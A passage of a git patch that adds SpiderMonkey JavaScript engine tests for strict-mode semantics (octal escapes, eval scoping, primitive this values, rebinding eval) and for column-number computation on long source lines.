+ assertEq(e instanceof SyntaxError, true,
+ "wrong error for octal-escape before strict directive in eval of " +
+ "function");
+}
+
+try
+{
+ Function(" function f(){ '\\145'; 'use strict'; } ");
+ throw new Error("no error thrown for eval of function");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "wrong error for octal-escape before strict directive in eval of " +
+ "function");
+}
+
+eval("function notAnError1() { 5; '\\145'; function g() { 'use strict'; } }");
+
+Function("function notAnError2() { 5; '\\145'; function g() { 'use strict'; } }");
+
+function notAnError3()
+{
+ 5;
+ "\145";
+ function g() { "use strict"; }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/strict/eval-variable-environment.js b/js/src/tests/non262/strict/eval-variable-environment.js
new file mode 100644
index 0000000000..a10f43f431
--- /dev/null
+++ b/js/src/tests/non262/strict/eval-variable-environment.js
@@ -0,0 +1,67 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var code;
+
+code =
+ "eval('var x = 2; typeof x');";
+assertEq(testLenientAndStrict(code, returns("number"), returns("number")),
+ true);
+
+code =
+ "eval('\"use strict\"; var x = 2; typeof x');";
+assertEq(testLenientAndStrict(code, returns("number"), returns("number")),
+ true);
+
+code =
+ "eval('var x = 2;'); " +
+ "typeof x";
+assertEq(testLenientAndStrict(code, returns("number"), returns("undefined")),
+ true);
+
+code =
+ "eval('\"use strict\"; var x = 2;'); " +
+ "typeof x";
+assertEq(testLenientAndStrict(code, returns("undefined"), returns("undefined")),
+ true);
+
+code =
+ "eval('\"use strict\"; var x = 2; typeof x'); " +
+ "typeof x";
+assertEq(testLenientAndStrict(code, returns("undefined"), returns("undefined")),
+ true);
+
+code =
+ "function test() " +
+ "{ " +
+ " eval('var x = 2;'); " +
+ " return typeof x; " +
+ "} " +
+ "test();";
+assertEq(testLenientAndStrict(code, returns("number"), returns("undefined")),
+ true);
+
+code =
+ "function test() " +
+ "{ " +
+ " 'use strict'; " +
+ " eval('var x = 2;'); " +
+ " return typeof x; " +
+ "} " +
+ "test();";
+assertEq(testLenientAndStrict(code, returns("undefined"), returns("undefined")),
+ true);
+
+code =
+ "function test() " +
+ "{ " +
+ " eval('\"use strict\"; var x = 2;'); " +
+ " return typeof x; " +
+ "} " +
+ "test();";
+assertEq(testLenientAndStrict(code, returns("undefined"), returns("undefined")),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/primitive-assignment.js b/js/src/tests/non262/strict/primitive-assignment.js
new file mode 100644
index 0000000000..4b2ee79f0e
--- /dev/null
+++ b/js/src/tests/non262/strict/primitive-assignment.js
@@ -0,0 +1,23 @@
+let primitives = [
+ 10,
+ false,
+ "test",
+ Symbol()
+];
+
+let key = "key";
+
+for (let value of primitives) {
+ // Doesn't throw outside strict mode.
+ assertEq(value.x = 5, 5);
+ assertEq(value[key] = 6, 6);
+
+ assertThrowsInstanceOf(function() { "use strict"; value.x = 5; }, TypeError);
+ assertThrowsInstanceOf(function() { "use strict"; value[key] = 6; }, TypeError);
+
+ let target = {};
+ assertEq(Reflect.set(target, key, 5, value), false);
+ assertEq(key in target, false);
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/primitive-this-getter.js b/js/src/tests/non262/strict/primitive-this-getter.js
new file mode 100644
index 0000000000..55fd79d9df
--- /dev/null
+++ b/js/src/tests/non262/strict/primitive-this-getter.js
@@ -0,0 +1,56 @@
+let primitives = [
+ 10,
+ false,
+ "test",
+ Symbol()
+]
+
+let getter = "getter";
+let getter2 = "getter2";
+let key = "key";
+
+for (let value of primitives) {
+ let prototype = Object.getPrototypeOf(value);
+
+ // Strict getters receive a primitive this value.
+ Object.defineProperty(prototype, "getter", {get: function() {
+ "use strict";
+ assertEq(this, value);
+ return "getter";
+ }})
+
+ assertEq(value.getter, "getter");
+ assertEq(value[getter], "getter");
+
+ // The proxy's [[Get]] trap is also invoked with primitive receiver values.
+ let proxy = new Proxy({}, {
+ get(target, property, receiver) {
+ assertEq(property, "key");
+ assertEq(receiver, value);
+ return "get";
+ }
+ });
+
+ Object.setPrototypeOf(prototype, proxy);
+ assertEq(value.key, "get");
+ assertEq(value[key], "get");
+ assertEq(value.getter, "getter");
+ assertEq(value[getter], "getter");
+
+ // A getter still gets a primitive this value even after going through a proxy.
+ proxy = new Proxy({
+ get getter2() {
+ "use strict";
+ assertEq(this, value);
+ return "getter2";
+ }
+ }, {});
+
+ Object.setPrototypeOf(prototype, proxy);
+ assertEq(value.getter2, "getter2");
+ assertEq(value[getter2], "getter2");
+ assertEq(value.getter, "getter");
+ assertEq(value[getter], "getter");
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/primitive-this-no-writeback.js b/js/src/tests/non262/strict/primitive-this-no-writeback.js
new file mode 100644
index 0000000000..2f58fb2316
--- /dev/null
+++ b/js/src/tests/non262/strict/primitive-this-no-writeback.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Verify that GETTHISPROP does not update the frame's |this| slot. */
+
+var f = String.prototype.m = function () {
+ "use strict";
+ assertEq(this, "s");
+ // The GETTHISPROP should not cause |this| to become wrapped.
+ return [this.m, this];
+};
+var a = "s".m();
+assertEq(a[0], f);
+assertEq(a[1], "s");
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/rebind-eval-should-fail-in-strict-mode.js b/js/src/tests/non262/strict/rebind-eval-should-fail-in-strict-mode.js
new file mode 100644
index 0000000000..41f0076273
--- /dev/null
+++ b/js/src/tests/non262/strict/rebind-eval-should-fail-in-strict-mode.js
@@ -0,0 +1,39 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BadSyntaxStrings = [
+ "function foo1() { \"use strict\"; try {} catch (eval) {} }",
+ "function foo2() { \"use strict\"; let eval = 9; foo(); }",
+ "function foo3() { \"use strict\"; for (let eval = 3;;) { foo(); }}",
+ "function foo4() { \"use strict\"; for (let eval in {a:1}) { foo(); }}",
+ "function foo5() { \"use strict\"; for (let eval of [1, 2, 3]) { foo(); }}",
+ "function foo6() { \"use strict\"; var eval = 12; }",
+ "function foo7() { \"use strict\"; for (var eval = 3;;) { foo(); }}",
+ "function foo8() { \"use strict\"; for (var eval in {a:1}) { foo(); }}",
+ "function foo9() { \"use strict\"; for (var eval of [1, 2, 3]) { foo(); }}",
+ "function foo10() { \"use strict\"; const eval = 12; }",
+ "function foo11() { \"use strict\"; for (const eval = 3;;) { foo(); }}",
+ "function foo12() { \"use strict\"; return [eval for (eval of [1, 2, 3])]; }",
+ "function foo13() { \"use strict\"; return [eval for (eval in {a:3})]; }",
+ "function foo14() { \"use strict\"; return (eval for (eval of [1, 2, 3])); }",
+ "function foo15() { \"use strict\"; return (eval for (eval in {a:3})); }"
+];
+
+function testString(s, i) {
+ var gotSyntaxError = -1;
+ try {
+ eval(s);
+ } catch(err) {
+ if (err instanceof SyntaxError)
+ gotSyntaxError = i;
+ }
+
+ assertEq(gotSyntaxError, i);
+}
+
+for (var i = 0; i < BadSyntaxStrings.length; i++)
+ testString(BadSyntaxStrings[i], i);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/regress-532041.js b/js/src/tests/non262/strict/regress-532041.js
new file mode 100644
index 0000000000..82311f3b9c
--- /dev/null
+++ b/js/src/tests/non262/strict/regress-532041.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+
+/*
+ * JSFunction::findDuplicateFormal (nee js_FindDuplicateFormal), used
+ * by strict checks, sometimes failed to choose the correct branch of
+ * the fun->u.i.names union: it used the argument count, not the
+ * overall name count.
+ */
+function f(a1,a2,a3,a4,a5) { "use strict"; var v1, v2, v3, v4, v5, v6, v7; }
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/regress-532254.js b/js/src/tests/non262/strict/regress-532254.js
new file mode 100644
index 0000000000..d45dbba6f5
--- /dev/null
+++ b/js/src/tests/non262/strict/regress-532254.js
@@ -0,0 +1,13 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(testLenientAndStrict('function f(eval,[x]){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/regress-599159.js b/js/src/tests/non262/strict/regress-599159.js
new file mode 100644
index 0000000000..71a413e2d9
--- /dev/null
+++ b/js/src/tests/non262/strict/regress-599159.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+// Shu's test
+function test(makeNonArray) {
+ function C() {}
+ C.prototype = []
+ if (makeNonArray)
+ C.prototype.constructor = C
+ c = new C();
+ c.push("foo");
+ return c.length
+}
+assertEq(test(true), 1);
+assertEq(test(false), 1);
+
+// jorendorff's longer test
+var a = [];
+a.slowify = 1;
+var b = Object.create(a);
+b.length = 12;
+assertEq(b.length, 12);
+
+// jorendorff's shorter test
+var b = Object.create(Array.prototype);
+b.length = 12;
+assertEq(b.length, 12);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/shell.js b/js/src/tests/non262/strict/shell.js
new file mode 100644
index 0000000000..9d8c8695ee
--- /dev/null
+++ b/js/src/tests/non262/strict/shell.js
@@ -0,0 +1,65 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+(function(global) {
+
+ /*
+ * Return true if both of these return true:
+ * - LENIENT_PRED applied to CODE
+ * - STRICT_PRED applied to CODE with a use strict directive added to the front
+ *
+ * Run STRICT_PRED first, for testing code that affects the global environment
+ * in loose mode, but fails in strict mode.
+ */
+ global.testLenientAndStrict = function testLenientAndStrict(code, lenient_pred, strict_pred) {
+ return (strict_pred("'use strict'; " + code) &&
+ lenient_pred(code));
+ }
+
+ /*
+ * parsesSuccessfully(CODE) returns true if CODE parses as function
+ * code without an error.
+ */
+ global.parsesSuccessfully = function parsesSuccessfully(code) {
+ try {
+ Function(code);
+ return true;
+ } catch (exception) {
+ return false;
+ }
+ };
+
+ /*
+ * parseRaisesException(EXCEPTION)(CODE) returns true if parsing CODE
+ * as function code raises EXCEPTION.
+ */
+ global.parseRaisesException = function parseRaisesException(exception) {
+ return function (code) {
+ try {
+ Function(code);
+ return false;
+ } catch (actual) {
+ return exception.prototype.isPrototypeOf(actual);
+ }
+ };
+ };
+
+ /*
+ * returns(VALUE)(CODE) returns true if evaluating CODE (as eval code)
+ * completes normally (rather than throwing an exception), yielding a value
+ * strictly equal to VALUE.
+ */
+ global.returns = function returns(value) {
+ return function(code) {
+ try {
+ return eval(code) === value;
+ } catch (exception) {
+ return false;
+ }
+ }
+ }
+
+})(this);
diff --git a/js/src/tests/non262/strict/strict-function-statements.js b/js/src/tests/non262/strict/strict-function-statements.js
new file mode 100644
index 0000000000..e6dc151394
--- /dev/null
+++ b/js/src/tests/non262/strict/strict-function-statements.js
@@ -0,0 +1,94 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+// Ordinary function definitions should be unaffected.
+assertEq(testLenientAndStrict("function f() { }",
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+// Lambdas are always permitted within blocks.
+assertEq(testLenientAndStrict("{ (function f() { }) }",
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+// Function statements within unbraced blocks are forbidden in strict mode code.
+// They are allowed only under if statements in sloppy mode.
+assertEq(testLenientAndStrict("if (true) function f() { }",
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict("while (true) function f() { }",
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict("do function f() { } while (true);",
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict("for(;;) function f() { }",
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict("for(x in []) function f() { }",
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict("with(o) function f() { }",
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict("switch(1) { case 1: function f() { } }",
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+assertEq(testLenientAndStrict("x: function f() { }",
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict("try { function f() { } } catch (x) { }",
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+// Lambdas are always permitted within any sort of statement.
+assertEq(testLenientAndStrict("if (true) (function f() { })",
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+// Function statements are permitted in blocks within lenient functions.
+assertEq(parsesSuccessfully("function f() { function g() { } }"),
+ true);
+
+// Function statements are permitted in if statement within lenient functions.
+assertEq(parsesSuccessfully("function f() { if (true) function g() { } }"),
+ true);
+
+assertEq(parseRaisesException(SyntaxError)
+ ("function f() { 'use strict'; if (true) function g() { } }"),
+ true);
+
+assertEq(parsesSuccessfully("function f() { 'use strict'; { function g() { } } }"),
+ true);
+
+assertEq(parsesSuccessfully("function f() { 'use strict'; if (true) (function g() { }) }"),
+ true);
+
+assertEq(parsesSuccessfully("function f() { 'use strict'; { (function g() { }) } }"),
+ true);
+
+// Eval should behave the same way. (The parse-only tests use the Function constructor.)
+assertEq(testLenientAndStrict("function f() { }",
+ completesNormally,
+ completesNormally),
+ true);
+assertEq(testLenientAndStrict("{ function f() { } }",
+ completesNormally,
+ completesNormally),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/strict-this-is-not-truthy.js b/js/src/tests/non262/strict/strict-this-is-not-truthy.js
new file mode 100644
index 0000000000..ec1a86837a
--- /dev/null
+++ b/js/src/tests/non262/strict/strict-this-is-not-truthy.js
@@ -0,0 +1,12 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// See bug 630543.
+
+function f() {
+ "use strict";
+ return !this;
+}
+assertEq(f.call(null), true);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/strict/this-for-function-expression-recursion.js b/js/src/tests/non262/strict/this-for-function-expression-recursion.js
new file mode 100644
index 0000000000..197b4646cf
--- /dev/null
+++ b/js/src/tests/non262/strict/this-for-function-expression-recursion.js
@@ -0,0 +1,44 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'this-for-function-expression-recursion.js';
+var BUGNUMBER = 611276;
+var summary = "JSOP_CALLEE should push undefined, not null, for this";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Calling a named function expression (not function statement) uses the
+// JSOP_CALLEE opcode. This opcode pushes its own |this|, distinct from the
+// normal call path; verify that that |this| value is properly |undefined|.
+
+var calleeThisFun =
+ function calleeThisFun(recurring)
+ {
+ if (recurring)
+ return this;
+ return calleeThisFun(true);
+ };
+assertEq(calleeThisFun(false), this);
+
+var calleeThisStrictFun =
+ function calleeThisStrictFun(recurring)
+ {
+ "use strict";
+ if (recurring)
+ return this;
+ return calleeThisStrictFun(true);
+ };
+assertEq(calleeThisStrictFun(false), undefined);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/strict/unbrand-this.js b/js/src/tests/non262/strict/unbrand-this.js
new file mode 100644
index 0000000000..219d1588e1
--- /dev/null
+++ b/js/src/tests/non262/strict/unbrand-this.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Test JSOP_UNBRANDTHIS's behavior on object and non-object |this| values. */
+
+function strict() {
+ "use strict";
+ this.insert = function(){ bar(); };
+ function bar() {}
+}
+
+var exception;
+
+// Try 'undefined' as a |this| value.
+exception = null;
+try {
+ strict.call(undefined);
+} catch (x) {
+ exception = x;
+}
+assertEq(exception instanceof TypeError, true);
+
+// Try 'null' as a |this| value.
+exception = null;
+try {
+ strict.call(null);
+} catch (x) {
+ exception = x;
+}
+assertEq(exception instanceof TypeError, true);
+
+// An object as a |this| value should be fine.
+exception = null;
+try {
+ strict.call({});
+} catch (x) {
+ exception = x;
+}
+assertEq(exception, null);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/syntax/browser.js b/js/src/tests/non262/syntax/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/syntax/browser.js
diff --git a/js/src/tests/non262/syntax/column-numbers-in-long-lines.js b/js/src/tests/non262/syntax/column-numbers-in-long-lines.js
new file mode 100644
index 0000000000..56ce74f86b
--- /dev/null
+++ b/js/src/tests/non262/syntax/column-numbers-in-long-lines.js
@@ -0,0 +1,403 @@
+// |reftest| skip-if(!this.hasOwnProperty('Reflect')||!Reflect.parse) -- uses Reflect.parse(..., { loc: true}) to trigger the column-computing API
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1551916;
+var summary =
+ "Optimize computing a column number as count of code points by caching " +
+ "column numbers (and whether each chunk might contain anything multi-unit) " +
+ "and counting forward from them";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Various testing of column-number computations, with respect to counting as
+// code points or units, for very long lines.
+//
+// This test should pass when column numbers are counts of code points (current
+// behavior) or code units (past behavior). It also *should* pass for any valid
+// |TokenStreamAnyChars::ColumnChunkLength| value (it must be at least 4 so that
+// the maximum-length code point in UTF-8/16 will fit in a single chunk),
+// because the value of that constant should be externally invisible save for
+// perf effects. (As a result, recompiling and running this test with a variety
+// of different values assigned to that constant is a good smoke-test of column
+// number computation, that doesn't require having to closely inspect any
+// column-related code.)
+//
+// However, this test is structured on the assumption that that constant has the
+// value 128, in order to exercise in targeted fashion various column number
+// computation edge cases.
+//
+// All this testing *could* be written to not be done with |Reflect.parse| --
+// backwards column computations happen even when compiling normal code, in some
+// cases. But it's much more the exception than the rule. And |Reflect.parse|
+// has *very* predictable column-computation operations (basically start/end
+// coordinates are computed immediately when the end of an AST node is reached)
+// that make it easier to recognize what the exact pattern of computations for
+// which offsets will look like.
+
+// Helper function for checking node location tersely.
+function checkLoc(node, expectedStart, expectedEnd)
+{
+ let start = node.loc.start;
+
+ assertEq(start.line, expectedStart[0],
+ "start line number must be as expected");
+ assertEq(start.column, expectedStart[1],
+ "start column number must be as expected");
+
+ let end = node.loc.end;
+
+ assertEq(end.line, expectedEnd[0], "end line number must be as expected");
+ assertEq(end.column, expectedEnd[1],
+ "end column number must be as expected");
+}
+
+function lengthInCodePoints(str)
+{
+ return [...str].length;
+}
+
+// True if column numbers are counts of code points, false otherwise. This
+// constant can be used to short-circuit testing that isn't point/unit-agnostic.
+const columnsAreCodePoints = (function()
+{
+ var columnTypes = [];
+
+ function checkColumn(actual, expectedPoints, expectedUnits)
+ {
+ if (actual === expectedPoints)
+ columnTypes.push("p");
+ else if (actual === expectedUnits)
+ columnTypes.push("u");
+ else
+ columnTypes.push("x");
+ }
+
+ var script = Reflect.parse('"😱😱😱😱";', { loc: true });
+ assertEq(script.type, "Program");
+ assertEq(script.loc.start.line, 1);
+ assertEq(script.loc.end.line, 1);
+ assertEq(script.loc.start.column, 0);
+ checkColumn(script.loc.end.column, 7, 11);
+
+ var body = script.body;
+ assertEq(body.length, 1);
+
+ var stmt = body[0];
+ assertEq(stmt.type, "ExpressionStatement");
+ assertEq(stmt.loc.start.line, 1);
+ assertEq(stmt.loc.end.line, 1);
+ assertEq(stmt.loc.start.column, 0);
+ checkColumn(stmt.loc.end.column, 7, 11);
+
+ var expr = stmt.expression;
+ assertEq(expr.type, "Literal");
+ assertEq(expr.value, "😱😱😱😱");
+ assertEq(expr.loc.start.line, 1);
+ assertEq(expr.loc.end.line, 1);
+ assertEq(expr.loc.start.column, 0);
+ checkColumn(expr.loc.end.column, 6, 10);
+
+ var checkResult = columnTypes.join(",");
+
+ assertEq(checkResult === "p,p,p" || checkResult === "u,u,u", true,
+ "columns must be wholly code points or units: " + checkResult);
+
+ return checkResult === "p,p,p";
+})();
+
+// Start with some basic sanity-testing, without regard to exactly when, how, or
+// in what order (offset => column) computations are performed.
+function testSimple()
+{
+ if (!columnsAreCodePoints)
+ return;
+
+ // Array elements within the full |simpleCode| string constructed below are
+ // one-element arrays containing the string "😱😱#x" where "#" is the
+ // character that, in C++, could be written as |'(' + i| where |i| is the
+ // index of the array within the outer array.
+ let simpleCodeArray =
+ [
+ 'var Q = [[', // column 0, offset 0
+ // REPEAT
+ '"😱😱(x"],["', // column 10, offset 10
+ '😱😱)x"],["😱', // column 20, offset 22
+ '😱*x"],["😱😱', // column 30, offset 35
+ '+x"],["😱😱,', // column 40, offset 48
+ 'x"],["😱😱-x', // column 50, offset 60
+ '"],["😱😱.x"', // column 60, offset 72
+ '],["😱😱/x"]', // column 70, offset 84
+ ',["😱😱0x"],', // column 80, offset 96
+ '["😱😱1x"],[', // column 90, offset 108
+ // REPEAT
+ '"😱😱2x"],["', // column 100, offset 120 -- chunk limit between "]
+ '😱😱3x"],["😱', // column 110, offset 132
+ '😱4x"],["😱😱', // column 120, offset 145
+ '5x"],["😱😱6', // column 130, offset 158
+ 'x"],["😱😱7x', // column 140, offset 170
+ '"],["😱😱8x"', // column 150, offset 182
+ '],["😱😱9x"]', // column 160, offset 194
+ ',["😱😱:x"],', // column 170, offset 206
+ '["😱😱;x"],[', // column 180, offset 218
+ // REPEAT
+ '"😱😱<x"],["', // column 190, offset 230
+ '😱😱=x"],["😱', // column 200, offset 242
+ '😱>x"],["😱😱', // column 210, offset 255 -- chunk limit splits first 😱
+ '?x"],["😱😱@', // column 220, offset 268
+ 'x"],["😱😱Ax', // column 230, offset 280
+ '"],["😱😱Bx"', // column 240, offset 292
+ '],["😱😱Cx"]', // column 250, offset 304
+ ',["😱😱Dx"],', // column 260, offset 316
+ '["😱😱Ex"],[', // column 270, offset 328
+ // REPEAT
+ '"😱😱Fx"],["', // column 280, offset 340
+ '😱😱Gx"],["😱', // column 290, offset 352
+ '😱Hx"],["😱😱', // column 300, offset 365
+ 'Ix"],["😱😱J', // column 310, offset 378 -- chunk limit between ["
+ 'x"],["😱😱Kx', // column 320, offset 390
+ '"],["😱😱Lx"', // column 330, offset 402
+ '],["😱😱Mx"]', // column 340, offset 414
+ ',["😱😱Nx"],', // column 350, offset 426
+ '["😱😱Ox"]];', // column 360 (10 long), offset 438 (+12 to end)
+ ];
+ let simpleCode = simpleCodeArray.join("");
+
+ // |simpleCode| overall contains this many code points. (This number is
+ // chosen to be several |TokenStreamAnyChars::ColumnChunkLength = 128| chunks
+ // long so that long-line handling is exercised, and the relevant vector
+ // increased in length, for more than one chunk [which would be too short to
+ // trigger chunking] and for more than two chunks [so that vector extension
+ // will eventually occur].)
+ const CodePointLength = 370;
+
+ assertEq(lengthInCodePoints(simpleCode), CodePointLength,
+ "code point count should be correct");
+
+ // |simpleCodeArray| contains this many REPEAT-delimited cycles.
+ const RepetitionNumber = 4;
+
+ // Each cycle consists of this many elements.
+ const ElementsPerCycle = 9;
+
+ // Each element in a cycle has at least this many 😱.
+ const MinFaceScreamingPerElementInCycle = 2;
+
+ // Each cycle consists of many elements with three 😱.
+ const ElementsInCycleWithThreeFaceScreaming = 2;
+
+ // Compute the overall number of UTF-16 code units. (UTF-16 because this is a
+ // JS string as input.)
+ const OverallCodeUnitCount =
+ CodePointLength +
+ RepetitionNumber * (ElementsPerCycle * MinFaceScreamingPerElementInCycle +
+ ElementsInCycleWithThreeFaceScreaming);
+
+ // Code units != code points.
+ assertEq(OverallCodeUnitCount > CodePointLength, true,
+ "string contains code points outside BMP, so length in units " +
+ "exceeds length in points");
+
+ // The overall computed number of code units has this exact numeric value.
+ assertEq(OverallCodeUnitCount, 450,
+ "code unit count computation produces this value");
+
+ // The overall computed number of code units matches the string length.
+ assertEq(simpleCode.length, OverallCodeUnitCount, "string length must match");
+
+ // Evaluate the string.
+ var Q;
+ eval(simpleCode);
+
+ // Verify characteristics of the resulting execution.
+ assertEq(Array.isArray(Q), true);
+
+ const NumArrayElements = 40;
+ assertEq(Q.length, NumArrayElements);
+ Q.forEach((v, i) => {
+ assertEq(Array.isArray(v), true);
+ assertEq(v.length, 1);
+ assertEq(v[0], "😱😱" + String.fromCharCode('('.charCodeAt(0) + i) + "x");
+ });
+
+ let parseTree = Reflect.parse(simpleCode, { loc: true });
+
+ // Check the overall script.
+ assertEq(parseTree.type, "Program");
+ checkLoc(parseTree, [1, 0], [1, 370]);
+ assertEq(parseTree.body.length, 1);
+
+ // Check the coordinates of the declaration.
+ let varDecl = parseTree.body[0];
+ assertEq(varDecl.type, "VariableDeclaration");
+ checkLoc(varDecl, [1, 0], [1, 369]);
+
+ // ...and its initializing expression.
+ let varInit = varDecl.declarations[0].init;
+ assertEq(varInit.type, "ArrayExpression");
+ checkLoc(varInit, [1, 8], [1, 369]);
+
+ // ...and then every literal inside it.
+ assertEq(varInit.elements.length, NumArrayElements, "array literal length");
+
+ const ItemLength = lengthInCodePoints('["😱😱#x"],');
+ assertEq(ItemLength, 9, "item length check");
+
+ for (let i = 0; i < NumArrayElements; i++)
+ {
+ let elem = varInit.elements[i];
+ assertEq(elem.type, "ArrayExpression");
+
+ let startCol = 9 + i * ItemLength;
+ let endCol = startCol + ItemLength - 1;
+ checkLoc(elem, [1, startCol], [1, endCol]);
+
+ let arrayElems = elem.elements;
+ assertEq(arrayElems.length, 1);
+
+ let str = arrayElems[0];
+ assertEq(str.type, "Literal");
+ assertEq(str.value,
+ "😱😱" + String.fromCharCode('('.charCodeAt(0) + i) + "x");
+ checkLoc(str, [1, startCol + 1], [1, endCol - 1]);
+ }
+}
+testSimple();
+
+// Test |ChunkInfo::unitsType() == UnitsType::GuaranteedSingleUnit| -- not that
+// it should be observable, precisely, but effects of mis-applying or
+// miscomputing it would in principle be observable if such were happening.
+// This test also is intended to to be useful for (manually, in a debugger)
+// verifying that the optimization is computed and kicks in correctly.
+function testGuaranteedSingleUnit()
+{
+ if (!columnsAreCodePoints)
+ return;
+
+ // Begin a few array literals in a first chunk to test column computation in
+ // that first chunk.
+ //
+ // End some of them in the first chunk to test columns *before* we know we
+ // have a long line.
+ //
+ // End one array *outside* the first chunk to test a computation inside a
+ // first chunk *after* we know we have a long line and have computed a first
+ // chunk.
+ let mixedChunksCode = "var Z = [ [ [],"; // column 0, offset 0
+ assertEq(mixedChunksCode.length, 15);
+ assertEq(lengthInCodePoints(mixedChunksCode), 15);
+
+ mixedChunksCode +=
+ " ".repeat(128 - mixedChunksCode.length); // column 15, offset 15
+ assertEq(mixedChunksCode.length, 128);
+ assertEq(lengthInCodePoints(mixedChunksCode), 128);
+
+ // Fill out a second chunk as also single-unit, with an outer array literal
+ // that begins in this chunk but finishes in the next (to test column
+ // computation in a prior, guaranteed-single-unit chunk).
+ mixedChunksCode += "[" + "[],".repeat(42) + " "; // column 128, offset 128
+ assertEq(mixedChunksCode.length, 256);
+ assertEq(lengthInCodePoints(mixedChunksCode), 256);
+
+ // Add a third chunk with one last empty nested array literal (so that we
+ // tack on another chunk, and conclude the second chunk is single-unit, before
+ // closing the enclosing array literal). Then close the enclosing array
+ // literal. Finally start a new string literal element containing
+ // multi-unit code points. For good measure, make the chunk *end* in the
+ // middle of such a code point, so that the relevant chunk limit must be
+ // retracted one code unit.
+ mixedChunksCode += "[] ], '" + "😱".repeat(61); // column 256, offset 256
+ assertEq(mixedChunksCode.length, 384 + 1);
+ assertEq(lengthInCodePoints(mixedChunksCode), 324);
+
+ // Wrap things up. Terminate the string, then terminate the nested array
+ // literal to trigger a column computation within the first chunk that can
+ // benefit from knowing the first chunk is all single-unit. Next add a *new*
+ // element to the outermost array, a string literal that contains a line
+ // terminator. The terminator invalidates the column computation cache, so
+ // when the outermost array is closed, location info for it will not hit the
+ // cache. Finally, tack on the terminating semicolon for good measure.
+ mixedChunksCode += "' ], '\u2028' ];"; // column 324, offset 385
+ assertEq(mixedChunksCode.length, 396);
+ assertEq(lengthInCodePoints(mixedChunksCode), 335);
+
+ let parseTree = Reflect.parse(mixedChunksCode, { loc: true });
+
+ // Check the overall script.
+ assertEq(parseTree.type, "Program");
+ checkLoc(parseTree, [1, 0], [2, 4]);
+ assertEq(parseTree.body.length, 1);
+
+ // Check the coordinates of the declaration.
+ let varDecl = parseTree.body[0];
+ assertEq(varDecl.type, "VariableDeclaration");
+ checkLoc(varDecl, [1, 0], [2, 3]);
+
